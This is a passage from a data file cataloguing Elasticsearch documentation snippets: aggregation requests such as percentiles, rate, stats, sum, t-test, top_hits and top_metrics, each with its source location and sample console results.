{\n \"load_time_outlier\": {\n \"percentiles\": {\n \"field\": \"load_time\",\n \"percents\": [ 95, 99, 99.9 ],\n \"hdr\": { <1>\n \"number_of_significant_value_digits\": 3 <2>\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/percentile-aggregation.asciidoc","line":402},"digest":"7777326c6052fee28061e5b82540aedc","lang":"console","found":["ruby"],"source":"GET latency/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"grade_percentiles\": {\n \"percentiles\": {\n \"field\": \"grade\",\n \"missing\": 10 <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/rate-aggregation.asciidoc","line":33},"digest":"7dc6c0a6386289ac6a34105e839ced55","lang":"console","found":["ruby"],"source":"GET sales/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"by_date\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"month\" <1>\n },\n \"aggs\": {\n \"my_rate\": {\n \"rate\": {\n \"unit\": \"year\" <2>\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/rate-aggregation.asciidoc","line":62},"digest":"a2f926b51c4550a999d8b5dcb746c47a","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\" : {\n \"by_date\" : {\n \"buckets\" : [\n {\n \"key_as_string\" : \"2015/01/01 00:00:00\",\n \"key\" : 1420070400000,\n \"doc_count\" : 3,\n \"my_rate\" : {\n \"value\" : 36.0\n }\n },\n {\n \"key_as_string\" : \"2015/02/01 00:00:00\",\n \"key\" : 1422748800000,\n \"doc_count\" : 2,\n \"my_rate\" : {\n \"value\" : 24.0\n }\n },\n {\n \"key_as_string\" : \"2015/03/01 00:00:00\",\n \"key\" : 1425168000000,\n \"doc_count\" : 2,\n \"my_rate\" : {\n \"value\" : 24.0\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/rate-aggregation.asciidoc","line":104},"digest":"99474a7e7979816c874aeac4403be5d0","lang":"console","found":["ruby"],"source":"GET sales/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"by_date\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"month\" <1>\n },\n \"aggs\": {\n \"avg_price\": {\n \"rate\": {\n \"field\": \"price\", <2>\n \"unit\": \"day\" <3>\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/rate-aggregation.asciidoc","line":134},"digest":"9e3408a5e909224a27eac9c57c7420f1","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\" : {\n \"by_date\" : {\n \"buckets\" : [\n {\n \"key_as_string\" : \"2015/01/01 00:00:00\",\n \"key\" : 1420070400000,\n \"doc_count\" : 3,\n \"avg_price\" : {\n \"value\" : 17.741935483870968\n }\n },\n {\n \"key_as_string\" : \"2015/02/01 00:00:00\",\n \"key\" : 1422748800000,\n \"doc_count\" : 2,\n \"avg_price\" : {\n \"value\" : 2.142857142857143\n }\n },\n {\n \"key_as_string\" : \"2015/03/01 00:00:00\",\n \"key\" : 1425168000000,\n \"doc_count\" : 2,\n \"avg_price\" : {\n \"value\" : 12.096774193548388\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/rate-aggregation.asciidoc","line":175},"digest":"91270cef57ac455547ffd47839420887","lang":"console","found":["ruby"],"source":"GET sales/_search?filter_path=aggregations&size=0\n{\n \"aggs\": {\n \"buckets\": {\n \"composite\": { <1>\n \"sources\": [\n {\n \"month\": {\n \"date_histogram\": { <2>\n \"field\": \"date\",\n \"calendar_interval\": \"month\"\n }\n }\n },\n {\n \"type\": { <3>\n \"terms\": {\n \"field\": \"type\"\n }\n }\n }\n ]\n },\n \"aggs\": {\n \"avg_price\": {\n \"rate\": {\n \"field\": \"price\", <4>\n \"unit\": \"day\" <5>\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/rate-aggregation.asciidoc","line":222},"digest":"96ecc8a113ed249fd66b5b09e4b981f0","lang":"console-result","found":[],"source":"{\n \"aggregations\" : {\n \"buckets\" : {\n \"after_key\" : {\n \"month\" : 1425168000000,\n \"type\" : \"t-shirt\"\n },\n \"buckets\" : [\n {\n \"key\" : {\n \"month\" : 1420070400000,\n \"type\" : \"bag\"\n },\n \"doc_count\" : 1,\n \"avg_price\" : {\n \"value\" : 4.838709677419355\n }\n },\n {\n \"key\" : {\n \"month\" : 1420070400000,\n \"type\" : \"hat\"\n },\n \"doc_count\" : 1,\n \"avg_price\" : {\n \"value\" : 6.451612903225806\n }\n },\n {\n \"key\" : {\n \"month\" : 1420070400000,\n \"type\" : \"t-shirt\"\n },\n \"doc_count\" : 1,\n \"avg_price\" : {\n \"value\" : 6.451612903225806\n }\n },\n {\n \"key\" : {\n \"month\" : 1422748800000,\n \"type\" : \"hat\"\n },\n \"doc_count\" : 1,\n \"avg_price\" : {\n \"value\" : 1.7857142857142858\n }\n },\n {\n \"key\" : {\n \"month\" : 1422748800000,\n \"type\" : \"t-shirt\"\n },\n \"doc_count\" : 1,\n \"avg_price\" : {\n \"value\" : 0.35714285714285715\n }\n },\n {\n \"key\" : {\n \"month\" : 1425168000000,\n \"type\" : \"hat\"\n },\n \"doc_count\" : 1,\n \"avg_price\" : {\n \"value\" : 6.451612903225806\n }\n },\n {\n \"key\" : {\n \"month\" : 1425168000000,\n \"type\" : \"t-shirt\"\n },\n \"doc_count\" : 1,\n \"avg_price\" : {\n \"value\" : 5.645161290322581\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/rate-aggregation.asciidoc","line":310},"digest":"1fddbd602a6acf896a393cdb500a2831","lang":"console","found":["ruby"],"source":"GET sales/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"by_date\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"month\" <1>\n },\n \"aggs\": {\n \"avg_number_of_sales_per_year\": {\n \"rate\": {\n \"field\": \"price\", <2>\n \"unit\": \"year\", <3>\n \"mode\": \"value_count\" <4>\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/rate-aggregation.asciidoc","line":342},"digest":"cec42dea158870722b1dd4d62ea81ccc","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\" : {\n \"by_date\" : {\n \"buckets\" : [\n {\n \"key_as_string\" : \"2015/01/01 00:00:00\",\n \"key\" : 1420070400000,\n \"doc_count\" : 3,\n \"avg_number_of_sales_per_year\" : {\n \"value\" : 36.0\n }\n },\n {\n \"key_as_string\" : \"2015/02/01 00:00:00\",\n \"key\" : 1422748800000,\n \"doc_count\" : 2,\n \"avg_number_of_sales_per_year\" : {\n \"value\" : 24.0\n }\n },\n {\n \"key_as_string\" : \"2015/03/01 00:00:00\",\n \"key\" : 1425168000000,\n \"doc_count\" : 2,\n \"avg_number_of_sales_per_year\" : {\n \"value\" : 24.0\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/rate-aggregation.asciidoc","line":411},"digest":"d13c7cdfc976e0c7b70737cd6a7becb8","lang":"console","found":["ruby"],"source":"GET sales/_search\n{\n \"size\": 0,\n \"runtime_mappings\": {\n \"price.adjusted\": {\n \"type\": \"double\",\n \"script\": {\n \"source\": \"emit(doc['price'].value * params.adjustment)\",\n \"params\": {\n \"adjustment\": 0.9\n }\n }\n }\n },\n \"aggs\": {\n \"by_date\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"month\"\n },\n \"aggs\": {\n \"avg_price\": {\n \"rate\": {\n \"field\": \"price.adjusted\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/rate-aggregation.asciidoc","line":446},"digest":"d35310c3d8b5afac29c62e56c6c9945b","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\" : {\n \"by_date\" : {\n \"buckets\" : [\n {\n \"key_as_string\" : \"2015/01/01 00:00:00\",\n \"key\" : 1420070400000,\n \"doc_count\" : 3,\n \"avg_price\" : {\n \"value\" : 495.0\n }\n },\n {\n \"key_as_string\" : \"2015/02/01 00:00:00\",\n \"key\" : 1422748800000,\n \"doc_count\" : 2,\n \"avg_price\" : {\n \"value\" : 54.0\n }\n },\n {\n \"key_as_string\" : \"2015/03/01 00:00:00\",\n \"key\" : 1425168000000,\n \"doc_count\" : 2,\n \"avg_price\" : {\n \"value\" : 337.5\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/scripted-metric-aggregation.asciidoc","line":15},"digest":"6636701d31b0c9eb8316f1f8e99cc918","lang":"console","found":["ruby"],"source":"POST ledger/_search?size=0\n{\n \"query\": {\n \"match_all\": {}\n },\n \"aggs\": {\n \"profit\": {\n \"scripted_metric\": {\n \"init_script\": \"state.transactions = []\", <1>\n \"map_script\": \"state.transactions.add(doc.type.value == 'sale' ? doc.amount.value : -1 * doc.amount.value)\",\n \"combine_script\": \"double profit = 0; for (t in state.transactions) { profit += t } return profit\",\n \"reduce_script\": \"double profit = 0; for (a in states) { profit += a } return profit\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/scripted-metric-aggregation.asciidoc","line":42},"digest":"8a1654a8958f182167e0b9d1409ba4be","lang":"console-result","found":[],"source":"{\n \"took\": 218,\n ...\n \"aggregations\": {\n \"profit\": {\n \"value\": 240.0\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/scripted-metric-aggregation.asciidoc","line":59},"digest":"0fb7705ddbf1fc2b65d2de2e00fe5769","lang":"console","found":["ruby"],"source":"POST ledger/_search?size=0\n{\n \"aggs\": {\n \"profit\": {\n \"scripted_metric\": {\n \"init_script\": {\n \"id\": \"my_init_script\"\n },\n \"map_script\": {\n \"id\": \"my_map_script\"\n },\n \"combine_script\": {\n \"id\": \"my_combine_script\"\n },\n \"params\": {\n \"field\": \"amount\" <1>\n },\n \"reduce_script\": {\n \"id\": \"my_reduce_script\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/scripted-metric-aggregation.asciidoc","line":155},"digest":"75e360d03fb416f0a65ca37c662c2e9c","lang":"console","found":["ruby"],"source":"PUT /transactions/_bulk?refresh\n{\"index\":{\"_id\":1}}\n{\"type\": \"sale\",\"amount\": 80}\n{\"index\":{\"_id\":2}}\n{\"type\": \"cost\",\"amount\": 10}\n{\"index\":{\"_id\":3}}\n{\"type\": \"cost\",\"amount\": 30}\n{\"index\":{\"_id\":4}}\n{\"type\": \"sale\",\"amount\": 130}"}, {"source_location":{"file":"aggregations/metrics/stats-aggregation.asciidoc","line":14},"digest":"746e87db7e1e8b5e6b40d8b5b188de42","lang":"console","found":["ruby"],"source":"POST /exams/_search?size=0\n{\n \"aggs\": {\n \"grades_stats\": { \"stats\": { \"field\": \"grade\" } }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/stats-aggregation.asciidoc","line":28},"digest":"e921fb7e2543c0418ab4f4907596790a","lang":"console-result","found":[],"source":"{\n ...\n\n \"aggregations\": {\n \"grades_stats\": {\n \"count\": 2,\n \"min\": 50.0,\n \"max\": 100.0,\n \"avg\": 75.0,\n \"sum\": 150.0\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/stats-aggregation.asciidoc","line":53},"digest":"565908b03edff1d6e6e7cdfb92177faf","lang":"console","found":["ruby"],"source":"POST /exams/_search\n{\n \"size\": 0,\n \"runtime_mappings\": {\n \"grade.weighted\": {\n \"type\": \"double\",\n \"script\": \"\"\"\n emit(doc['grade'].value * doc['weight'].value)\n \"\"\"\n }\n },\n \"aggs\": {\n \"grades_stats\": {\n \"stats\": {\n \"field\": \"grade.weighted\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/stats-aggregation.asciidoc","line":102},"digest":"d4cdcf01014c75693b080c778071c1b5","lang":"console","found":["ruby"],"source":"POST /exams/_search?size=0\n{\n \"aggs\": {\n \"grades_stats\": {\n \"stats\": {\n \"field\": \"grade\",\n \"missing\": 0 <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/string-stats-aggregation.asciidoc","line":24},"digest":"81ef5774355180fc44d2a52b5182d24a","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_search?size=0\n{\n \"aggs\": {\n \"message_stats\": { \"string_stats\": { \"field\": \"message.keyword\" } }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/string-stats-aggregation.asciidoc","line":39},"digest":"a52ca223c2f6eb1200c581d4858d8c22","lang":"console-result","found":[],"source":"{\n ...\n\n \"aggregations\": {\n \"message_stats\": {\n \"count\": 5,\n \"min_length\": 24,\n \"max_length\": 30,\n \"avg_length\": 28.8,\n \"entropy\": 3.94617750050791\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/string-stats-aggregation.asciidoc","line":65},"digest":"1c142bc8cac8d9dcb4f60e22902d434f","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_search?size=0\n{\n \"aggs\": {\n \"message_stats\": {\n \"string_stats\": {\n \"field\": \"message.keyword\",\n \"show_distribution\": true <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/string-stats-aggregation.asciidoc","line":83},"digest":"e58542fbd846f781ba8b03b0bae213e1","lang":"console-result","found":[],"source":"{\n ...\n\n \"aggregations\": {\n \"message_stats\": {\n \"count\": 5,\n \"min_length\": 24,\n \"max_length\": 30,\n \"avg_length\": 28.8,\n \"entropy\": 3.94617750050791,\n \"distribution\": {\n \" \": 0.1527777777777778,\n \"e\": 0.14583333333333334,\n \"s\": 0.09722222222222222,\n \"m\": 0.08333333333333333,\n \"t\": 0.0763888888888889,\n \"h\": 0.0625,\n \"a\": 0.041666666666666664,\n \"i\": 0.041666666666666664,\n \"r\": 0.041666666666666664,\n \"g\": 0.034722222222222224,\n \"n\": 0.034722222222222224,\n \"o\": 0.034722222222222224,\n \"u\": 0.034722222222222224,\n \"b\": 0.027777777777777776,\n \"w\": 0.027777777777777776,\n \"c\": 0.013888888888888888,\n \"E\": 0.006944444444444444,\n \"l\": 0.006944444444444444,\n \"1\": 0.006944444444444444,\n \"2\": 0.006944444444444444,\n \"3\": 0.006944444444444444,\n \"4\": 0.006944444444444444,\n \"y\": 0.006944444444444444\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/string-stats-aggregation.asciidoc","line":133},"digest":"1e4b17b830ead15087ccd96151a5ebde","lang":"console","found":[],"source":"POST /my-index-000001/_search\n{\n \"size\": 0,\n \"runtime_mappings\": {\n \"message_and_context\": {\n \"type\": \"keyword\",\n \"script\": \"\"\"\n emit(doc['message.keyword'].value + ' ' + doc['context.keyword'].value)\n \"\"\"\n }\n },\n \"aggs\": {\n \"message_stats\": {\n \"string_stats\": { \"field\": \"message_and_context\" }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/string-stats-aggregation.asciidoc","line":178},"digest":"8e06d8b2b737c43806018eae2ca061c1","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_search?size=0\n{\n \"aggs\": {\n \"message_stats\": {\n \"string_stats\": {\n \"field\": \"message.keyword\",\n \"missing\": \"[empty message]\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/sum-aggregation.asciidoc","line":14},"digest":"f5ef80dd92c67059ca353a833e6b7b5e","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"query\": {\n \"constant_score\": {\n \"filter\": {\n \"match\": { \"type\": \"hat\" }\n }\n }\n },\n \"aggs\": {\n \"hat_prices\": { \"sum\": { \"field\": \"price\" } }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/sum-aggregation.asciidoc","line":34},"digest":"ce20cb8d913728a60c1f323ae124dad8","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"hat_prices\": {\n \"value\": 450.0\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/sum-aggregation.asciidoc","line":54},"digest":"7fe9f0a583e079f7fc6fd64d12b6e9e5","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"runtime_mappings\": {\n \"price.weighted\": {\n \"type\": \"double\",\n \"script\": \"\"\"\n double price = doc['price'].value;\n if (doc['promoted'].value) {\n price *= 0.8;\n }\n emit(price);\n \"\"\"\n }\n },\n \"query\": {\n \"constant_score\": {\n \"filter\": {\n \"match\": { \"type\": \"hat\" }\n }\n }\n },\n \"aggs\": {\n \"hat_prices\": {\n \"sum\": {\n \"field\": \"price.weighted\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/sum-aggregation.asciidoc","line":109},"digest":"abc496de5fd013099a134db369b34a8b","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"query\": {\n \"constant_score\": {\n \"filter\": {\n \"match\": { \"type\": \"hat\" }\n }\n }\n },\n \"aggs\": {\n \"hat_prices\": {\n \"sum\": {\n \"field\": \"price\",\n \"missing\": 100 <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/sum-aggregation.asciidoc","line":140},"digest":"455029c3d66306ad5d48f6dbddaf7324","lang":"console","found":["ruby"],"source":"PUT metrics_index\n{\n \"mappings\": {\n \"properties\": {\n \"latency_histo\": { \"type\": \"histogram\" }\n }\n }\n}\n\nPUT metrics_index/_doc/1?refresh\n{\n \"network.name\" : \"net-1\",\n \"latency_histo\" : {\n \"values\" : [0.1, 0.2, 0.3, 0.4, 0.5],\n \"counts\" : [3, 7, 23, 12, 6]\n }\n}\n\nPUT metrics_index/_doc/2?refresh\n{\n \"network.name\" : \"net-2\",\n \"latency_histo\" : {\n \"values\" : [0.1, 0.2, 0.3, 0.4, 0.5],\n \"counts\" : [8, 17, 8, 7, 6]\n }\n}\n\nPOST /metrics_index/_search?size=0&filter_path=aggregations\n{\n \"aggs\" : {\n \"total_latency\" : { \"sum\" : { \"field\" : \"latency_histo\" } }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/sum-aggregation.asciidoc","line":183},"digest":"acdc414b9b9adb4385117ae952d415fb","lang":"console-result","found":[],"source":"{\n \"aggregations\": {\n \"total_latency\": {\n \"value\": 28.8\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/t-test-aggregation.asciidoc","line":32},"digest":"ad6d81be5fad4bad87486b699454dce5","lang":"console","found":["ruby"],"source":"GET node_upgrade/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"startup_time_ttest\": {\n \"t_test\": {\n \"a\": { \"field\": \"startup_time_before\" }, <1>\n \"b\": { \"field\": \"startup_time_after\" }, <2>\n \"type\": \"paired\" <3>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/t-test-aggregation.asciidoc","line":57},"digest":"00aea88b958ed3688b0b8bc653d4d287","lang":"console-result","found":[],"source":"{\n ...\n\n \"aggregations\": {\n \"startup_time_ttest\": {\n \"value\": 0.1914368843365979 <1>\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/t-test-aggregation.asciidoc","line":86},"digest":"630d127ccedd25a6cff31ea098ac2847","lang":"console","found":["ruby"],"source":"GET node_upgrade/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"startup_time_ttest\": {\n \"t_test\": {\n \"a\": {\n \"field\": \"startup_time_before\", <1>\n \"filter\": {\n \"term\": {\n \"group\": \"A\" <2>\n }\n }\n },\n \"b\": {\n \"field\": \"startup_time_before\", <3>\n \"filter\": {\n \"term\": {\n \"group\": \"B\" <4>\n }\n }\n },\n \"type\": \"heteroscedastic\" <5>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/t-test-aggregation.asciidoc","line":124},"digest":"1477a3dec23fb67b5a164e20bb770ea8","lang":"console-result","found":[],"source":"{\n ...\n\n \"aggregations\": {\n \"startup_time_ttest\": {\n \"value\": 0.2981858007281437 <1>\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/t-test-aggregation.asciidoc","line":148},"digest":"4670dd81a9865e07ae74ae8b0266e384","lang":"console","found":["ruby"],"source":"GET node_upgrade/_search\n{\n \"size\": 0,\n \"runtime_mappings\": {\n \"startup_time_before.adjusted\": {\n \"type\": \"long\",\n \"script\": {\n \"source\": \"emit(doc['startup_time_before'].value - params.adjustment)\",\n \"params\": {\n \"adjustment\": 10\n }\n }\n }\n },\n \"aggs\": {\n \"startup_time_ttest\": {\n \"t_test\": {\n \"a\": {\n \"field\": \"startup_time_before.adjusted\"\n },\n \"b\": {\n \"field\": \"startup_time_after\"\n },\n \"type\": \"paired\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/tophits-aggregation.asciidoc","line":52},"digest":"4c777b8360ef6c7671ae2e3803c0b0f6","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"top_tags\": {\n \"terms\": {\n \"field\": \"type\",\n \"size\": 3\n },\n \"aggs\": {\n \"top_sales_hits\": {\n \"top_hits\": {\n \"sort\": [\n {\n \"date\": {\n \"order\": \"desc\"\n }\n }\n ],\n \"_source\": {\n \"includes\": [ \"date\", \"price\" ]\n },\n \"size\": 1\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/tophits-aggregation.asciidoc","line":87},"digest":"ac5c534e77684388b5126e2960db0d3f","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"top_tags\": {\n \"doc_count_error_upper_bound\": 0,\n \"sum_other_doc_count\": 0,\n \"buckets\": [\n {\n \"key\": \"hat\",\n \"doc_count\": 3,\n \"top_sales_hits\": {\n \"hits\": {\n \"total\" : {\n \"value\": 3,\n \"relation\": \"eq\"\n },\n \"max_score\": null,\n \"hits\": [\n {\n \"_index\": \"sales\",\n \"_id\": \"AVnNBmauCQpcRyxw6ChK\",\n \"_source\": {\n \"date\": \"2015/03/01 00:00:00\",\n \"price\": 200\n },\n \"sort\": [\n 1425168000000\n ],\n \"_score\": null\n }\n ]\n }\n }\n },\n {\n \"key\": \"t-shirt\",\n \"doc_count\": 3,\n \"top_sales_hits\": {\n \"hits\": {\n \"total\" : {\n \"value\": 3,\n \"relation\": \"eq\"\n },\n \"max_score\": null,\n \"hits\": [\n {\n \"_index\": \"sales\",\n \"_id\": \"AVnNBmauCQpcRyxw6ChL\",\n \"_source\": {\n \"date\": \"2015/03/01 00:00:00\",\n \"price\": 175\n },\n \"sort\": [\n 1425168000000\n ],\n \"_score\": null\n }\n ]\n }\n }\n },\n {\n \"key\": \"bag\",\n \"doc_count\": 1,\n \"top_sales_hits\": {\n \"hits\": {\n \"total\" : {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": null,\n \"hits\": [\n {\n \"_index\": \"sales\",\n \"_id\": \"AVnNBmatCQpcRyxw6ChH\",\n \"_source\": {\n \"date\": \"2015/01/01 00:00:00\",\n \"price\": 150\n },\n \"sort\": [\n 1420070400000\n ],\n \"_score\": null\n }\n ]\n }\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/tophits-aggregation.asciidoc","line":201},"digest":"30db2702dd0071c72a090b8311d0db09","lang":"console","found":["ruby"],"source":"POST /sales/_search\n{\n \"query\": {\n \"match\": {\n \"body\": \"elections\"\n }\n },\n \"aggs\": {\n \"top_sites\": {\n \"terms\": {\n \"field\": \"domain\",\n \"order\": {\n \"top_hit\": \"desc\"\n }\n },\n \"aggs\": {\n \"top_tags_hits\": {\n \"top_hits\": {}\n },\n \"top_hit\" : {\n \"max\": {\n \"script\": {\n \"source\": \"_score\"\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/tophits-aggregation.asciidoc","line":254},"digest":"025155da86802ebf4c3aeee5aab692f9","lang":"console","found":["ruby"],"source":"PUT /sales\n{\n \"mappings\": {\n \"properties\": {\n \"tags\": { \"type\": \"keyword\" },\n \"comments\": { <1>\n \"type\": \"nested\",\n \"properties\": {\n \"username\": { \"type\": \"keyword\" },\n \"comment\": { \"type\": \"text\" }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/tophits-aggregation.asciidoc","line":277},"digest":"a8add749c3f41ad1308a45308df14103","lang":"console","found":["ruby"],"source":"PUT /sales/_doc/1?refresh\n{\n \"tags\": [ \"car\", \"auto\" ],\n \"comments\": [\n { \"username\": \"baddriver007\", \"comment\": \"This car could have better brakes\" },\n { \"username\": \"dr_who\", \"comment\": \"Where's the autopilot? Can't find it\" },\n { \"username\": \"ilovemotorbikes\", \"comment\": \"This car has two extra wheels\" }\n ]\n}"}, {"source_location":{"file":"aggregations/metrics/tophits-aggregation.asciidoc","line":293},"digest":"a1377b32d7fe3680079ae0df73009b0e","lang":"console","found":["ruby"],"source":"POST /sales/_search\n{\n \"query\": {\n \"term\": { \"tags\": \"car\" }\n },\n \"aggs\": {\n \"by_sale\": {\n \"nested\": {\n \"path\": \"comments\"\n },\n \"aggs\": {\n \"by_user\": {\n \"terms\": {\n \"field\": \"comments.username\",\n \"size\": 1\n },\n \"aggs\": {\n \"by_nested\": {\n \"top_hits\": {}\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/tophits-aggregation.asciidoc","line":327},"digest":"7360e36c8ba3511fa133472ec101fff3","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"by_sale\": {\n \"by_user\": {\n \"buckets\": [\n {\n \"key\": \"baddriver007\",\n \"doc_count\": 1,\n \"by_nested\": {\n \"hits\": {\n \"total\" : {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 0.3616575,\n \"hits\": [\n {\n \"_index\": \"sales\",\n \"_id\": \"1\",\n \"_nested\": {\n \"field\": \"comments\", <1>\n \"offset\": 0 <2>\n },\n \"_score\": 0.3616575,\n \"_source\": {\n \"comment\": \"This car could have better brakes\", <3>\n \"username\": \"baddriver007\"\n }\n }\n ]\n }\n }\n }\n ...\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/tophits-aggregation.asciidoc","line":427},"digest":"e1220f2c28db6ef0233e26e6bd3866fa","lang":"console","found":[],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"top_tags\": {\n \"terms\": {\n \"field\": \"type\",\n \"size\": 3\n },\n \"aggs\": {\n \"top_sales_hits\": {\n \"top_hits\": {\n \"sort\": [\n {\n \"date\": {\n \"order\": \"desc\"\n }\n }\n ],\n \"_source\": {\n \"includes\": [ \"date\", \"price\" ]\n },\n \"size\": 1\n }\n },\n \"having.top_salary\": {\n \"bucket_selector\": {\n \"buckets_path\": {\n \"tp\": \"top_sales_hits[_source.price]\"\n },\n \"script\": \"params.tp < 180\"\n }\n }\n }\n }\n }\n}\n"}, {"source_location":{"file":"aggregations/metrics/top-metrics-aggregation.asciidoc","line":12},"digest":"9d1fb129ac783355a20097effded1845","lang":"console","found":["ruby"],"source":"POST /test/_bulk?refresh\n{\"index\": {}}\n{\"s\": 1, \"m\": 3.1415}\n{\"index\": {}}\n{\"s\": 2, \"m\": 1.0}\n{\"index\": {}}\n{\"s\": 3, \"m\": 2.71828}\nPOST /test/_search?filter_path=aggregations\n{\n \"aggs\": {\n \"tm\": {\n \"top_metrics\": {\n \"metrics\": {\"field\": \"m\"},\n \"sort\": {\"s\": \"desc\"}\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/top-metrics-aggregation.asciidoc","line":89},"digest":"b00d74eed431a272c829c0f798e3a539","lang":"console","found":["ruby"],"source":"PUT /test\n{\n \"mappings\": {\n \"properties\": {\n \"d\": {\"type\": \"date\"}\n }\n }\n}\nPOST /test/_bulk?refresh\n{\"index\": {}}\n{\"s\": 1, \"m\": 3.1415, \"i\": 1, \"d\": \"2020-01-01T00:12:12Z\", \"t\": \"cat\"}\n{\"index\": {}}\n{\"s\": 2, \"m\": 1.0, \"i\": 6, \"d\": \"2020-01-02T00:12:12Z\", \"t\": \"dog\"}\n{\"index\": {}}\n{\"s\": 3, \"m\": 2.71828, \"i\": -12, \"d\": \"2019-12-31T00:12:12Z\", \"t\": \"chicken\"}\nPOST /test/_search?filter_path=aggregations\n{\n \"aggs\": {\n \"tm\": {\n \"top_metrics\": {\n \"metrics\": [\n {\"field\": \"m\"},\n {\"field\": \"i\"},\n {\"field\": \"d\"},\n {\"field\": \"t.keyword\"}\n ],\n \"sort\": {\"s\": \"desc\"}\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/top-metrics-aggregation.asciidoc","line":154},"digest":"376ff4b2b5f657481af78a778aaab57f","lang":"console","found":["ruby"],"source":"PUT /my-index\n{\n \"mappings\": {\n \"properties\": {\n \"nr\": { \"type\": \"integer\" },\n \"state\": { \"type\": \"keyword\" } <1>\n }\n }\n}\nPOST /my-index/_bulk?refresh\n{\"index\": {}}\n{\"nr\": 1, \"state\": \"started\"}\n{\"index\": {}}\n{\"nr\": 2, \"state\": \"stopped\"}\n{\"index\": {}}\n{\"nr\": 3, \"state\": \"N/A\"}\n{\"index\": {}}\n{\"nr\": 4} <2>\nPOST /my-index/_search?filter_path=aggregations\n{\n \"aggs\": {\n \"my_top_metrics\": {\n \"top_metrics\": {\n \"metrics\": {\n \"field\": \"state\",\n \"missing\": \"N/A\"}, <3>\n \"sort\": {\"nr\": \"desc\"}\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/top-metrics-aggregation.asciidoc","line":197},"digest":"4a134149b563eb2613a2f6637c245f76","lang":"console-result","found":[],"source":"{\n \"aggregations\": {\n \"my_top_metrics\": {\n \"top\": [\n {\n \"sort\": [\n 4\n ],\n \"metrics\": {\n \"state\": \"N/A\"\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/top-metrics-aggregation.asciidoc","line":222},"digest":"6013ed65d2058da5ce704b47a504b60a","lang":"console","found":["ruby"],"source":"POST 